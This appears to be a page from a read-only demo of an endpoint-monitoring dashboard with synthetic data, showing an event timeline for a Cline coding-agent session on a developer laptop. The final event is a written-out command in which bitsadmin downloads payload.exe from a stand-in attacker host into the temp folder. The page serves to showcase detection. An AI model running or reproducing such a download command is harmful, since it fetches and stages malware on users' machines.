DEMO Read-only showcase seeded with synthetic data. Sign-in, reviewing, rules, retention and alerts are disabled. Browse every page and session freely. Install on your fleet →
Session

dev-laptop-bill-high-109290803

cline on dev-laptop-bill · 1m14s · first 2026-04-22 17:19:55 · last 2026-04-22 17:21:09
Notes 0

No notes yet. Leave the first one so the next reviewer inherits the context.

Timeline · 11 of 32 events

  1. 2026-04-22
  2. 17:19
    • 17:19:55 process_start Process started C:\Program Files\Git\cmd\git.exe pid 7936
  3. 17:20
    • 17:20:25 dns DNS lookup cdn.jsdelivr.net pid 7594
    • 17:20:31 dns DNS lookup api.anthropic.com pid 2946
    • 17:20:41 dns DNS lookup registry.npmjs.org pid 9148
    • 17:20:27 dns DNS lookup raw.githubusercontent.com pid 7528
    • 17:20:31 dns DNS lookup deb.debian.org pid 2807
    • 17:20:32 dns DNS lookup proxy.golang.org pid 3157
    • 17:20:47 tcp_connect Connected 34.107.221.82:443 pid 4566
    • 17:20:46 tcp_connect Connected 151.101.0.223:443 pid 4927
  4. 17:21
    • 17:21:07 process_start Process started C:\Windows\System32\cmd.exe pid 9163
    • 17:21:09 process_start Process started cmd.exe /c bitsadmin /transfer job http://evil.example/payload.exe %TEMP%\p.exe pid 2044